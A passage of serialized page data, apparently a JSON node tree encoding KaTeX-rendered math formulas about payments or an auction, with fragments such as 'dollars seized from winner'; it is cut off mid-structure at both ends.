0461},{},[],{"type":23,"tag":141,"props":160463,"children":160465},{"className":160464},[20411,112050],[],{"type":23,"tag":141,"props":160467,"children":160468},{"style":159584},[160469,160473],{"type":23,"tag":141,"props":160470,"children":160472},{"className":160471,"style":159432},[2726],[],{"type":23,"tag":141,"props":160474,"children":160476},{"className":160475},[2686],[160477,160481,160485,160490,160494,160551,160555,160560,160564,160569,160626,160630,160635,160639,160696],{"type":23,"tag":141,"props":160478,"children":160480},{"className":160479},[2686],[],{"type":23,"tag":141,"props":160482,"children":160484},{"className":160483,"style":2863},[2766],[],{"type":23,"tag":141,"props":160486,"children":160488},{"className":160487},[2868],[160489],{"type":29,"value":1377},{"type":23,"tag":141,"props":160491,"children":160493},{"className":160492,"style":2863},[2766],[],{"type":23,"tag":141,"props":160495,"children":160497},{"className":160496},[2686],[160498,160503],{"type":23,"tag":141,"props":160499,"children":160501},{"className":160500},[2686,20260],[160502],{"type":29,"value":9332},{"type":23,"tag":141,"props":160504,"children":160506},{"className":160505},[2702],[160507],{"type":23,"tag":141,"props":160508,"children":160510},{"className":160509},[2707,20314],[160511,160540],{"type":23,"tag":141,"props":160512,"children":160514},{"className":160513},[2712],[160515,160535],{"type":23,"tag":141,"props":160516,"children":160518},{"className":160517,"style":92061},[2717],[160519],{"type":23,"tag":141,"props":160520,"children":160521},{"style":91588},[160522,160526],{"type":23,"tag":141,"props":160523,"children":160525},{"className":160524,"style":2727},[2726],[],{"type":23,"tag":141,"props":160527,"children":160529},{"className":160528},[2732,2733,2734,2735],[160530],{"type":23,"tag":141,"props":160531,"children":160533},{"className":160532},[2686,20260,2735],[160534],{"type":29,"value":2404},{"type":23,"tag":141,"props":160536,"children":160538},{"className":160537},[20417],[160539],{"type":29,"value":20420},{"type":23,"tag":141,"props":160541,"children":160543},{"className":160542},[2712],[160544],{"type":23,"tag":141,"props":160545,"children":160547},{"className":160546,"style":91615},[2717],[160548],{"type":23,"tag":141,"props":160549,"children":160550},{},[],{"type":23,"tag":141,"props":160552,"children":160554},{"className":160553,"style":2767},[2766],[],{"type":23,"tag":141,"props":160556,"children":160558},{"className":160557},[2772],[160559],{"type":29,"value":109794},{"type":23,"tag":141,"props":160561,"children":160563},{"className":160562,"style":2767},[2766],[],{"type":23,"tag":141,"props":160565,"children":160567},{"className":160566},[20389],[160568],{"type":29,"value":192},{"type":23,"tag":141,"props":160570,"children":160572},{"className":160571},[2686],[160573,160578],{"type":23,"tag":141,"props":160574,"children":160576},{"className":160575,"style":20261},[2686,20260],[160577],{"type":29,"value":20264},{"type":23,"tag":141,"props":160579,"children":160581},{"className":160580},[2702],[160582],{"type":23,"tag":141,"props":160583,"children":160585},{"className":160584},[2707,20314],[160586,160615],{"type":23,"tag":141,"props":160587,"children":160589},{"className":160588},[2712],[160590,160610],{"type":23,"tag":141,"props":160591,"children":160593},{"className":160592,"style":107964},[2717],[160594],{"type":23,"tag":141,"props":160595,"children":160596},{"style":159465},[160597,160601],{"type":23,"tag":141,"props":160598,"children":160600},{"className":160599,"style":2727},[2726],[],{"type":23,"tag":141,"props":160602,"children":160604},{"className":160603},[2732,2733,2734,2735],[160605],{"type":23,"tag":141,"props":160606,"children":160608},{"className":160607},[2686,20260,2735],[160609],{"type":29,"value":54883},{"type":23,"tag":141,"props":160611,"children":160613},{"className":160612},[20417],[160614],{"type":29,"value":20420},{"type":23,"tag":141,"props":160616,"children":160618},{"className":160617},[2712],[160619],{"type":23,"tag":141,"props":160620,"children":160622},{"className":160621,"style":91615},[2717],[160623],{"type":23,"tag":141,"props":160624,"children":160625},{},[],{"type":23,"tag":141,"props":160627,"children":160629},{"className":160628,"style":2767},[2766],[],{"type":23,"tag":141,"props":160631,"children":160633},{"className":160632},[2772],[160634],{"type":29,"value":2746},{"type":23,"tag":141,"props":160636,"children":160638},{"className":160637,"style":2767},[2766],[],{"type":23,"tag":141,"props":160640,"children":160642},{"className":160641},[2686],[160643,160648],{"type":23,"tag":141,"props":160644,"children":160646},{"className":160645},[2686,20260],[160647],{"type":29,"value":32},{"type":23,"tag":141,"props":160649,"children":160651},{"className":160650},[2702],[160652],{"type":23,"tag":141,"props":160653,"children":160655},{"className":160654},[2707,20314],[160656,160685],{"type":23,"tag":141,"props":160657,"children":160659},{"className":160658},[2712],[160660,160680],{"type":23,"tag":141,"props":160661,"children":160663},{"className":160662,"style":92061},[2717],[160664],{"type":23,"tag":141,"props":160665,"children":160666},{"style":91588},[160667,160671],{"type":23,"tag":141,"props":160668,"children":160670},{"className":160669,"style":2727},[2726],[],{"type":23,"tag":141,"props":160672,"children":160674},{"className":160673},[2732,2733,2734,2735],[160675],{"type":23,"tag":141,"props":160676,"children":160678},{"className":160677},[2686,20260,2735],[160679],{"type":29,"value":2404},{"type":23,"tag":141,"props":160681,"children":160683},{"className":160682},[20417],[160684],{"type":29,"value":20420},{"type":23,"tag":141,"props":160686,"children":160688},{"className":160687},[2712],[160689],{"type":23,"tag":141,"props":160690,"children":160692},{"className":160691,"style":91615},[2717],[160693],{"type":23,"tag":141,"props":160694,"children":160695},{},[],{"type":23,"tag":141,"props":160697,"children":160699},{"className":160698},[20411],[160700],{"type":29,"value":1788},{"type":23,"tag":141,"props":160702,"children":160703},{"style":159654},[160704,160708],{"type":23,"tag":141,"props":160705,"children":160707},{"className":160706,"style":159432},[2726],[],{"type":23,"tag":141,"props":160709,"children":160711},{"className":160710},[2686],[160712,160716,160720,160725,160729,160786,160790,160795,160799],{"type":23,"tag":141,"props":160713,"children":160715},{"className":160714},[2686],[],{"type":23,"tag":141,"props":160717,"children":160719},{"className":160718,"style":2863},[2766],[],{"type":23,"tag":141,"props":160721,"children":160723},{"className":160722},[2868],[160724],{"type":29,"value":1377},{"type":23,"tag":141,"props":160726,"children":160728},{"className":160727,"style":2863},[2766],[],{"type":23,"tag":141,"props":160730,"children":160732},{"className":160731},[2686],[160733,160738],{"type":23,"tag":141,"props":160734,"children":160736},{"className":160735},[2686,20260],[160737],{"type":29,"value":1807},{"type":23,"tag":141,"props":160739,"children":160741},{"className":160740},[2702],[160742],{"type":23,"tag":141,"props":160743,"children":160745},{"className":160744},[2707,20314],[160746,160775],{"type":23,"tag":141,"props":160747,"children":160749},{"className":160748},[2712],[160750,160770],{"type":23,"tag":141,"props":160751,"children":160753},{"className":160752,"style":92061},[2717],[160754],{"type":23,"tag":141,"props":160755,"children":160756},{"style":91588},[160757,160761],{"type":23,"tag":141,"props":160758,"children":160760},{"className":160759,"style":2727},[2726],[],{"type":23,"tag":141,"props":160762,"children":160764},{"className":160763},[2732,2733,2734,2735],[160765],{"type":23,"tag":141,"props":160766,"children":160768},{"className":160767},[2686,20260,2735],[160769],{"type":29,"value":2404},{"type":23,"tag":141,"props":160771,"children":160773},{"className":160772},[20417],[160774],{"type":29,"value":20420},{"type":23,"tag":141,"props":160776,"children":160778},{"className":160777},[2712],[160779],{"type":23,"tag":141,"props":160780,"children":160782},{"className":160781,"style":91615},[2717],[160783],{"type":23,"tag":141,"props":160784,"children":160785},{},[],{"type":23,"tag":141,"props":160787,"children":160789},{"className":160788,"style":2767},[2766],[],{"type":23,"tag":141,"props":160791,"children":160793},{"className":160792},[2772],[160794],{"type":29,"value":3058},{"type":23,"tag":141,"props":160796,"children":160798},{"className":160797,"style":2767},[2766],[],{"type":23,"tag":141,"props":160800,"children":160802},{"className":160801},[2686],[160803,160808],{"type":23,"tag":141,"props":160804,"children":160806},{"className":160805,"style":92018},[2686,20260],[160807],{"type":29,"value":159603},{"type":23,"tag":141,"props":160809,"children":160811},{"className":160810},[2702],[160812],{"type":23,"tag":141,"props":160813,"children":160815},{"className":160814},[2707,20314],[160816,160845],{"type":23,"tag":141,"props":160817,"children":160819},{"className":160818},[2712],[160820,160840],{"type":23,"tag":141,"props":160821,"children":160823},{"className":160822,"style":92061},[2717],[160824],{"type":23,"tag":141,"props":160825,"children":160826},{"style":92065},[160827,160831],{"type":23,"tag":141,"props":160828,"children":160830},{"className":160829,"style":2727},[2726],[],{"type":23,"tag":141,"props":160832,"children":160834},{"className":160833},[2732,2733,2734,2735],[160835],{"type":23,"tag":141,"props":160836,"children":160838},{"className":160837},[2686,20260,2735],[160839],{"type":29,"value":2404},{"type":23,"tag":141,"props":160841,"children":160843},{"className":160842},[20417],[160844],{"type":29,"value":20420},{"type":23,"tag":141,"props":160846,"children":160848},{"className":160847},[2712],[160849],{"type":23,"tag":141,"props":160850,"children":160852},{"className":160851,"style":91615},[2717],[160853],{"type":23,"tag":141,"props":160854,"children":160855},{},[],{"type":23,"tag":141,"props":160857,"children":160858},{"style":159723},[160859,160863],{"type":23,"tag":141,"props":160860,"children":160862},{"className":160861,"style":159432},[2726],[],{"type":23,"tag":141,"props":160864,"children":160866},{"className":160865},[2686],[160867,160871,160875,160880,160884],{"type":23,"tag":141,"props":160868,"children":160870},{"className":160869},[2686],[],{"type":23,"tag":141,"props":160872,"children":160874},{"className":160873,"style":2863},[2766],[],{"type":23,"tag":141,"props":160876,"children":160878},{"className":160877},[2868],[160879],{"type":29,"value":1377},{"type":23,"tag":141,"props":160881,"children":160883},{"className":160882,"style":2863},[2766],[],{"type":23,"tag":141,"props":160885,"children":160887},{"className":160886},[2686],[160888,160893],{"type":23,"tag":141,"props":160889,"children":160891},{"className":160890,"style":92018},[2686,20260],[160892],{"type":29,"value":159603},{"type":23,"tag":141,"props":160894,"children":160896},{"className":160895},[2702],[160897],{"type":23,"tag":141,"props":160898,"children":160900},{"className":160899},[2707,20314],[160901,160949],{"type":23,"tag":141,"props":160902,"children":160904},{"className":160903},[2712],[160905,160944],{"type":23,"tag":141,"props":160906,"children":160909},{"className":160907,"style":160908},[2717],"height:0.8213em;",[160910,160927],{"type":23,"tag":141,"props":160911,"children":160913},{"style":160912},"top:-2.433em;margin-left:-0.0359em;margin-right:0.05em;",[160914,160918],{"type":23,"tag":141,"props":160915,"children":160917},{"className":160916,"style":2727},[2726],[],{"type":23,"tag":141,"props":160919,"children":160921},{"className":160920},[2732,2733,2734,2735],[160922],{"type":23,"tag":141,"props":160923,"children":160925},{"className":160924},[2686,20260,2735],[160926],{"type":29,"value":2404},{"type":23,"tag":141,"props":160928,"children":160930},{"style":160929},"top:-3.113em;margin-right:0.05em;",[160931,160935],{"type":23,"tag":141,"props":160932,"children":160934},{"className":160933,"style":2727},[2726],[],{"type":23,"tag":141,"props":160936,"children":160938},{"className":160937},[2732,2733,2734,2735],[160939],{"type":23,"tag":141,"props":160940,"children":160942},{"className":160941},[2772,2735],[160943],{"type":29,"value":3058},{"type":23,"tag":141,"props":160945,"children":160947},{"className":160946},[20417],[160948],{"type":29,"value":20420},{"type":23,"tag":141,"props":160950,"children":160952},{"className":160951},[2712],[160953],{"type":23,"tag":141,"props":160954,"children":160957},{"className":160955,"style":160956},[2717],"height:0.267em;",[160958],{"type":23,"tag":141,"props":160959,"children":160960},{},[],{"type":23,"tag":141,"props":160962,"children":160963},{"style":159793},[160964,160968],{"type":23,"tag":141,"props":160965,"children":160967},{"className":160966,"style":159432},[2726],[],{"type":23,"tag":141,"props":160969,"children":160971},{"className":160970},[2686],[160972,160976,160980,160985,160989,160999],{"type":23,"tag":141,"props":160973,"children":160975},{"className":160974},[2686],[],{"type":23,"tag":141,"props":160977,"children":160979},{"className":160978,"style":2863},[2766],[],{"type":23,"tag":141,"props":160981,"children":160983},{"className":160982},[2868],[160984],{"type":29,"value":20279},{"type":23,"tag":141,"props":160986,"children":160988},{"className":160987,"style":2863},[2766],[],{"type":23,"tag":141,"props":160990,"children":160992},{"className":160991},[2686,29],[160993],{"type":23,"tag":141,"props":160994,"children":160996},{"className":160995},[2686],[160997],{"type":29,"value":160998},"dollars seized from winner ",{"type":23,"tag":141,"props":161000,"children":161002},{"className":161001},[2686,20260],[161003],{"type":29,"value":2404},{"type":23,"tag":141,"props":161005,"children":161006},{"style":159862},[161007,161011],{"type":23,"tag":141,"props":161008,"children":161010},{"className":161009,"style":159432},[2726],[],{"type":23,"tag":141,"props":161012,"children":161014},{"className":161013},[2686],[161015,161019,161023,161028,161032],{"type":23,"tag":141,"props":161016,"children":161018},{"className":161017},[2686],[],{"type":23,"tag":141,"props":161020,"children":161022},{"className":161021,"style":2863},[2766],[],{"type":23,"tag":141,"props":161024,"children":161026},{"className":161025},[2868],[161027],{"type":29,"value":1377},{"type":23,"tag":141,"props":161029,"children":161031},{"className":161030,"style":2863},[2766],[],{"type":23,"tag":141,"props":161033,"children":161035},{"className":161034},[2686],[161036,161040,161221],{"type":23,"tag":141,"props":161037,"children":161039},{"className":161038},[20389,112050],[],{"type":23,"tag":141,"props":161041,"children":161043},{"className":161042},[112055],[161044],{"type":23,"tag":141,"props":161045,"children":161047},{"className":161046},[2707,20314],[161048,161209],{"type":23,"tag":141,"props":161049,"children":161051},{"className":161050},[2712],[161052,161204],{"type":23,"tag":141,"props":161053,"children":161056},{"className":161054,"style":161055},[2717],"height:1.1076em;",[161057,161125,161136],{"type":23,"tag":141,"props":161058,"children":161059},{"style":157641},[161060,161064],{"type":23,"tag":141,"props":161061,"children":161063},{"className":161062,"style":110703},[2726],[],{"type":23,"tag":141,"props":161065,"children":161067},{"className":161066},[2686],[161068],{"type":23,"tag":141,"props":161069,"children":161071},{"className":161070},[2686],[161072,161077],{"type":23,"tag":141,"props":161073,"children":161075},{"className":161074,"style":120812},[2686,20260],[161076],{"type":29,"value":48050},{"type":23,"tag":141,"props":161078,"children":161080},{"className":161079},[2702],[161081],{"type":23,"tag":141,"props":161082,"children":161084},{"className":161083},[2707,20314],[161085,161114],{"type":23,"tag":141,"props":161086,"children":161088},{"className":161087},[2712],[161089,161109],{"type":23,"tag":141,"props":161090,"children":161092},{"className":161091,"style":92061},[2717],[161093],{"type":23,"tag":141,"props":161094,"children":161095},{"style":159760},[161096,161100],{"type":23,"tag":141,"props":161097,"children":161099},{"className":161098,"style":2727},[2726],[],{"type":23,"tag":141,"props":161101,"children":161103},{"className":161102},[2732,2733,2734,2735],[161104],{"type":23,"tag":141,"props":161105,"children":161107},{"className":161106},[2686,20260,2735],[161108],{"type":29,"value":2404},{"type":23,"tag":141,"props":161110,"children":161112},{"className":161111},[20417],[161113],{"type":29,"value":20420},{"type":23,"tag":141,"props":161115,"children":161117},{"className":161116},[2712],[161118],{"type":23,"tag":141,"props":161119,"children":161121},{"className":161120,"style":91615},[2717],[161122],{"type":23,"tag":141,"props":161123,"children":161124},{},[],{"type":23,"tag":141,"props":161126,"children":161127},{"style":112105},[161128,161132],{"type":23,"tag":141,"props":161129,"children":161131},{"className":161130,"style":110703},[2726],[],{"type":23,"tag":141,"props":161133,"children":161135},{"className":161134,"style":112115},[112114],[],{"type":23,"tag":141,"props":161137,"children":161138},{"style":157692},[161139,161143],{"type":23,"tag":141,"props":161140,"children":161142},{"className":161141,"style":110703},[2726],[],{"type":23,"tag":141,"props":161144,"children":161146},{"className":161145},[2686],[161147],{"type":23,"tag":141,"props":161148,"children":161150},{"className":161149},[2686],[161151,161156],{"type":23,"tag":141,"props":161152,"children":161154},{"className":161153},[2686,20260],[161155],{"type":29,"value":17947},{"type":23,"tag":141,"props":161157,"children":161159},{"className":161158},[2702],[161160],{"type":23,"tag":141,"props":161161,"children":161163},{"className":161162},[2707,20314],[161164,161193],{"type":23,"tag":141,"props":161165,"children":161167},{"className":161166},[2712],[161168,161188],{"type":23,"tag":141,"props":161169,"children":161171},{"className":161170,"style":92061},[2717],[161172],{"type":23,"tag":141,"props":161173,"children":161174},{"style":91588},[161175,161179],{"type":23,"tag":141,"props":161176,"children":161178},{"className":161177,"style":2727},[2726],[],{"type":23,"tag":141,"props":161180,"children":161182},{"className":161181},[2732,2733,2734,2735],[161183],{"type":23,"tag":141,"props":161184,"children":161186},{"className":161185},[2686,20260,2735],[161187],{"type":29,"value":2404},{"type":23,"tag":141,"props":161189,"children":161191},{"className":161190},[20417],[161192],{"type":29,"value":20420},{"type":23,"tag":141,"props":161194,"children":161196},{"className":161195},[2712],[161197],{"type":23,"tag":141,"props":161198,"children":161200},{"className":161199,"style":91615},[2717],[161201],{"type":23,"tag":141,"props":161202,"children":161203},{},[],{"type":23,"tag":141,"props":161205,"children":161207},{"className":161206},[20417],[161208],{"type":29,"value":20420},{"type":23,"tag":141,"props":161210,"children":161212},{"className":161211},[2712],[161213],{"type":23,"tag":141,"props":161214,"children":161217},{"className":161215,"style":161216},[2717],"height:0.836em;",[161218],{"type":23,"tag":141,"props":161219,"children":161220},{},[],{"type":23,"tag":141,"props":161222,"children":161224},{"className":161223},[20411,112050],[],{"type":23,"tag":141,"props":161226,"children":161227},{"style":159931},[161228,161232],{"type":23,"tag":141,"props":161229,"children":161231},{"className":161230,"style":159432},[2726],[],{"type":23,"tag":141,"props":161233,"children":161235},{"className":161234},[2686],[161236,161240,161244,161249,161253,161323,161327],{"type":23,"tag":141,"props":161237,"children":161239},{"className":161238},[2686],[],{"type":23,"tag":141,"props":161241,"children":161243},{"className":161242,"style":2863},[2766],[],{"type":23,"tag":141,"props":161245,"children":161247},{"className":161246},[2868],[161248],{"type":29,"value":1377},{"type":23,"tag":141,"props":161250,"children":161252},{"className":161251,"style":2863},[2766],[],{"type":23,"tag":141,"props":161254,"children":161257},{"className":161255},[20296,161256],"op-limits",[161258],{"type":23,"tag":141,"props":161259,"children":161261},{"className":161260},[2707,20314],[161262,161311],{"type":23,"tag":141,"props":161263,"children":161265},{"className":161264},[2712],[161266,161306],{"type":23,"tag":141,"props":161267,"children":161270},{"className":161268,"style":161269},[2717],"height:1.05em;",[161271,161289],{"type":23,"tag":141,"props":161272,"children":161274},{"style":161273},"top:-1.8723em;margin-left:0em;",[161275,161280],{"type":23,"tag":141,"props":161276,"children":161279},{"className":161277,"style":161278},[2726],"height:3.05em;",[],{"type":23,"tag":141,"props":161281,"children":161283},{"className":161282},[2732,2733,2734,2735],[161284],{"type":23,"tag":141,"props":161285,"children":161287},{"className":161286},[2686,20260,2735],[161288],{"type":29,"value":2404},{"type":23,"tag":141,"props":161290,"children":161292},{"style":161291},"top:-3.05em;",[161293,161297],{"type":23,"tag":141,"props":161294,"children":161296},{"className":161295,"style":161278},[2726],[],{"type":23,"tag":141,"props":161298,"children":161299},{},[161300],{"type":23,"tag":141,"props":161301,"children":161304},{"className":161302},[20296,20301,161303],"large-op",[161305],{"type":29,"value":107327},{"type":23,"tag":141,"props":161307,"children":161309},{"className":161308},[20417],[161310],{"type":29,"value":20420},{"type":23,"tag":141,"props":161312,"children":161314},{"className":161313},[2712],[161315],{"type":23,"tag":141,"props":161316,"children":161319},{"className":161317,"style":161318},[2717],"height:1.2777em;",[161320],{"type":23,"tag":141,"props":161321,"children":161322},{},[],{"type":23,"tag":141,"props":161324,"children":161326},{"className":161325,"style":2804},[2766],[],{"type":23,"tag":141,"props":161328,"children":161330},{"className":161329},[2686],[161331,161336],{"type":23,"tag":141,"props":161332,"children":161334},{"className":161333},[2686,20260],[161335],{"type":29,"value":17947},{"type":23,"tag":141,"props":161337,"children":161339},{"className":161338},[2702],[161340],{"type":23,"tag":141,"props":161341,"children":161343},{"className":161342},[2707,20314],[161344,161373],{"type":23,"tag":141,"props":161345,"children":161347},{"className":161346},[2712],[161348,161368],{"type":23,"tag":141,"props":161349,"children":161351},{"className":161350,"style":92061},[2717],[161352],{"type":23,"tag":141,"props":161353,"children":161354},{"style":91588},[161355,161359],{"type":23,"tag":141,"props":161356,"children":161358},{"className":161357,"style":2727},[2726],[],{"type":23,"tag":141,"props":161360,"children":161362},{"className":161361},[2732,2733,2734,2735],[161363],{"type":23,"tag":141,"props":161364,"children":161366},{"className":161365},[2686,20260,2735],[161367],{"type":29,"value":2404},{"type":23,"tag":141,"props":161369,"children":161371},{"className":161370},[20417],[161372],{"type":29,"value":20420},{"type":23,"tag":141,"props":161374,"children":161376},{"className":161375},[2712],[161377],{"type":23,"tag":141,"props":161378,"children":161380},{"className":161379,"style":91615},[2717],[161381],{"type":23,"tag":141,"props":161382,"children":161383},{},[],{"type":23,"tag":141,"props":161385,"children":161386},{"style":160000},[161387,161391],{"type":23,"tag":141,"props":161388,"children":161390},{"className":161389,"style":159432},[2726],[],{"type":23,"tag":141,"props":161392,"children":161394},{"className":161393},[2686],[161395,161399,161403,161408,161412,161475,161479,161484,161489,161494,161551,161556,161560,161564,161569],{"type":23,"tag":141,"props":161396,"children":161398},{"className":161397},[2686],[],{"type":23,"tag":141,"props":161400,"children":161402},{"className":161401,"style":2863},[2766],[],{"type":23,"tag":141,"props":161404,"children":161406},{"className":161405},[2868],[161407],{"type":29,"value":1377},{"type":23,"tag":141,"props":161409,"children":161411},{"className":161410,"style":2863},[2766],[],{"type":23,"tag":141,"props":161413,"children":161415},{"className":161414},[20296,161256],[161416],{"type":23,"tag":141,"props":161417,"children":161419},{"className":161418},[2707,20314],[161420,161464],{"type":23,"tag":141,"props":161421,"children":161423},{"className":161422},[2712],[161424,161459],{"type":23,"tag":141,"props":161425,"children":161427},{"className":161426,"style":161269},[2717],[161428,161444],{"type":23,"tag":141,"props":161429,"children":161430},{"style":161273},[161431,161435],{"type":23,"tag":141,"props":161432,"children":161434},{"className":161433,"style":161278},[2726],[],{"type":23,"tag":141,"props":161436,"children":161438},{"className":161437},[2732,2733,2734,2735],[161439],{"type":23,"tag":141,"props":161440,"children":161442},{"className":161441},[2686,20260,2735],[161443],{"type":29,"value":2404},{"type":23,"tag":141,"props":161445,"children":161446},{"style":161291},[161447,161451],{"type":23,"tag":141,"props":161448,"children":161450},{"className":161449,"style":161278},[2726],[],{"type":23,"tag":141,"props":161452,"children":161453},{},[161454],{"type":23,"tag":141,"props":161455,"children":161457},{"className":161456},[20296,20301,161303],[161458],{"type":29,"value":107327},{"type":23,"tag":141,"props":161460,"children":161462},{"className":161461},[20417],[161463],{"type":29,"value":20420},{"type":23,"tag":141,"props":161465,"children":161467},{"className":161466},[2712],[161468],{"type":23,"tag":141,"props":161469,"children":161471},{"className":161470,"style":161318},[2717],[161472],{"type":23,"tag":141,"props":161473,"children":161474},{},[],{"type":23,"tag":141,"props":161476,"children":161478},{"className":161477,"style":2804},[2766],[],{"type":23,"tag":141,"props":161480,"children":161482},{"className":161481},[20296],[161483],{"type":29,"value":159146},{"type":23,"tag":141,"props":161485,"children":161487},{"className":161486},[20389],[161488],{"type":29,"value":192},{"type":23,"tag":141,"props":161490,"children":161492},{"className":161491},[2686],[161493],{"type":29,"value":2746},{"type":23,"tag":141,"props":161495,"children":161497},{"className":161496},[2686],[161498,161503],{"type":23,"tag":141,"props":161499,"children":161501},{"className":161500},[2686,20260],[161502],{"type":29,"value":49933},{"type":23,"tag":141,"props":161504,"children":161506},{"className":161505},[2702],[161507],{"type":23,"tag":141,"props":161508,"children":161510},{"className":161509},[2707,20314],[161511,161540],{"type":23,"tag":141,"props":161512,"children":161514},{"className":161513},[2712],[161515,161535],{"type":23,"tag":141,"props":161516,"children":161518},{"className":161517,"style":92061},[2717],[161519],{"type":23,"tag":141,"props":161520,"children":161521},{"style":91588},[161522,161526],{"type":23,"tag":141,"props":161523,"children":161525},{"className":161524,"style":2727},[2726],[],{"type":23,"tag":141,"props":161527,"children":161529},{"className":161528},[2732,2733,2734,2735],[161530],{"type":23,"tag":141,"props":161531,"children":161533},{"className":161532},[2686,20260,2735],[161534],{"type":29,"value":2404},{"type":23,"tag":141,"props":161536,"children":161538},{"className":161537},[20417],[161539],{"type":29,"value":20420},{"type":23,"tag":141,"props":161541,"children":161543},{"className":161542},[2712],[161544],{"type":23,"tag":141,"props":161545,"children":161547},{"className":161546,"style":91615},[2717],[161548],{"type":23,"tag":141,"props":161549,"children":161550},{},[],{"type":23,"tag":141,"props":161552,"children":161554},{"className":161553},[2798],[161555],{"type":29,"value":512},{"type":23,"tag":141,"props":161557,"children":161559},{"className":161558,"style":2804},[2766],[],{"type":23,"tag":141,"props":161561,"children":161563},{"className":161562,"style":2804},[2766],[],{"type":23,"tag":141,"props":161565,"children":161567},{"className":161566},[2686],[161568],{"type":29,"value":2698},{"type":23,"tag":141,"props":161570,"children":161572},{"className":161571},[20411],[161573],{"type":29,"value":1788},{"type":23,"tag":141,"props":161575,"children":161576},{"style":160070},[161577,161581],{"type":23,"tag":141,"props":161578,"children":161580},{"className":161579,"style":159432},[2726],[],{"type":23,"tag":141,"props":161582,"children":161584},{"className":161583},[2686],[161585,161589,161593,161598,161602,161665,161669],{"type":23,"tag":141,"props":161586,"children":161588},{"className":161587},[2686],[],{"type":23,"tag":141,"props":161590,"children":161592},{"className":161591,"style":2863},[2766],[],{"type":23,"tag":141,"props":161594,"children":161596},{"className":161595},[2868],[161597],{"type":29,"value":1377},{"type":23,"tag":141,"props":161599,"children":161601},{"className":161600,"style":2863},[2766],[],{"type":23,"tag":141,"props":161603,"children":161605},{"className":161604},[20296,161256],[161606],{"type":23,"tag":141,"props":161607,"children":161609},{"className":161608},[2707,20314],[161610,161654],{"type":23,"tag":141,"props":161611,"children":161613},{"className":161612},[2712],[161614,161649],{"type":23,"tag":141,"props":161615,"children":161617},{"className":161616,"style":161269},[2717],[161618,161634],{"type":23,"tag":141,"props":161619,"children":161620},{"style":161273},[161621,161625],{"type":23,"tag":141,"props":161622,"children":161624},{"className":161623,"style":161278},[2726],[],{"type":23,"tag":141,"props":161626,"children":161628},{"className":161627},[2732,2733,2734,2735],[161629],{"type":23,"tag":141,"props":161630,"children":161632},{"className":161631},[2686,20260,2735],[161633],{"type":29,"value":2404},{"type":23,"tag":141,"props":161635,"children":161636},{"style":161291},[161637,161641],{"type":23,"tag":141,"props":161638,"children":161640},{"className":161639,"style":161278},[2726],[],{"type":23,"tag":141,"props":161642,"children":161643},{},[161644],{"type":23,"tag":141,"props":161645,"children":161647},{"className":161646},[20296,20301,161303],[161648],{"type":29,"value":107327},{"type":23,"tag":141,"props":161650,"children":161652},{"className":161651},[20417],[161653],{"type":29,"value":20420},{"type":23,"tag":141,"props":161655,"children":161657},{"className":161656},[2712],[161658],{"type":23,"tag":141,"props":161659,"children":161661},{"className":161660,"style":161318},[2717],[161662],{"type":23,"tag":141,"props":161663,"children":161664},{},[],{"type":23,"tag":141,"props":161666,"children":161668},{"className":161667,"style":2804},[2766],[],{"type":23,"tag":141,"props":161670,"children":161672},{"className":161671},[2686],[161673,161678],{"type":23,"tag":141,"props":161674,"children":161676},{"className":161675,"style":120812},[2686,20260],[161677],{"type":29,"value":48050},{"type":23,"tag":141,"props":161679,"children":161681},{"className":161680},[2702],[161682],{"type":23,"tag":141,"props":161683,"children":161685},{"className":161684},[2707,20314],[161686,161715],{"type":23,"tag":141,"props":161687,"children":161689},{"className":161688},[2712],[161690,161710],{"type":23,"tag":141,"props":161691,"children":161693},{"className":161692,"style":92061},[2717],[161694],{"type":23,"tag":141,"props":161695,"children":161696},{"style":159760},[161697,161701],{"type":23,"tag":141,"props":161698,"children":161700},{"className":161699,"style":2727},[2726],[],{"type":23,"tag":141,"props":161702,"children":161704},{"className":161703},[2732,2733,2734,2735],[161705],{"type":23,"tag":141,"props":161706,"children":161708},{"className":161707},[2686,20260,2735],[161709],{"type":29,"value":2404},{"type":23,"tag":141,"props":161711,"children":161713},{"className":161712},[20417],[161714],{"type":29,"value":20420},{"type":23,"tag":141,"props":161716,"children":161718},{"className":161717},[2712],[161719],{"type":23,"tag":141,"props":161720,"children":161722},{"className":161721,"style":91615},[2717],[161723],{"type":23,"tag":141,"props":161724,"children":161725},{},[],{"type":23,"tag":141,"props":161727,"children":161728},{"style":160141},[161729,161733],{"type":23,"tag":141,"props":161730,"children":161732},{"className":161731,"style":159432},[2726],[],{"type":23,"tag":141,"props":161734,"children":161736},{"className":161735},[2686],[161737,161741,161745,161750,161754,161759,161764,161821,161825,161830,161834,161839,161843,161848,161852,161909,161914,161918,161922,161927],{"type":23,"tag":141,"props":161738,"children":161740},{"className":161739},[2686],[],{"type":23,"tag":141,"props":161742,"children":161744},{"className":161743,"style":2863},[2766],[],{"type":23,"tag":141,"props":161746,"children":161748},{"className":161747},[2868],[161749],{"type":29,"value":1377},{"type":23,"tag":141,"props":161751,"children":161753},{"className":161752,"style":2863},[2766],[],{"type":23,"tag":141,"props":161755,"children":161757},{"className":161756},[20296],[161758],{"type":29,"value":159146},{"type":23,"tag":141,"props":161760,"children":161762},{"className":161761},[20389],[161763],{"type":29,"value":192},{"type":23,"tag":141,"props":161765,"children":161767},{"className":161766},[2686],[161768,161773],{"type":23,"tag":141,"props":161769,"children":161771},{"className":161770,"style":91532},[2686,20260],[161772],{"type":29,"value":160019},{"type":23,"tag":141,"props":161774,"children":161776},{"className":161775},[2702],[161777],{"type":23,"tag":141,"props":161778,"children":161780},{"className":161779},[2707,20314],[161781,161810],{"type":23,"tag":141,"props":161782,"children":161784},{"className":161783},[2712],[161785,161805],{"type":23,"tag":141,"props":161786,"children":161788},{"className":161787,"style":141087},[2717],[161789],{"type":23,"tag":141,"props":161790,"children":161791},{"style":108531},[161792,161796],{"type":23,"tag":141,"props":161793,"children":161795},{"className":161794,"style":2727},[2726],[],{"type":23,"tag":141,"props":161797,"children":161799},{"className":161798},[2732,2733,2734,2735],[161800],{"type":23,"tag":141,"props":161801,"children":161803},{"className":161802,"style":20261},[2686,20260,2735],[161804],{"type":29,"value":4661},{"type":23,"tag":141,"props":161806,"children":161808},{"className":161807},[20417],[161809],{"type":29,"value":20420},{"type":23,"tag":141,"props":161811,"children":161813},{"className":161812},[2712],[161814],{"type":23,"tag":141,"props":161815,"children":161817},{"className":161816,"style":91615},[2717],[161818],{"type":23,"tag":141,"props":161819,"children":161820},{},[],{"type":23,"tag":141,"props":161822,"children":161824},{"className":161823,"style":2767},[2766],[],{"type":23,"tag":141,"props":161826,"children":161828},{"className":161827},[2772],[161829],{"type":29,"va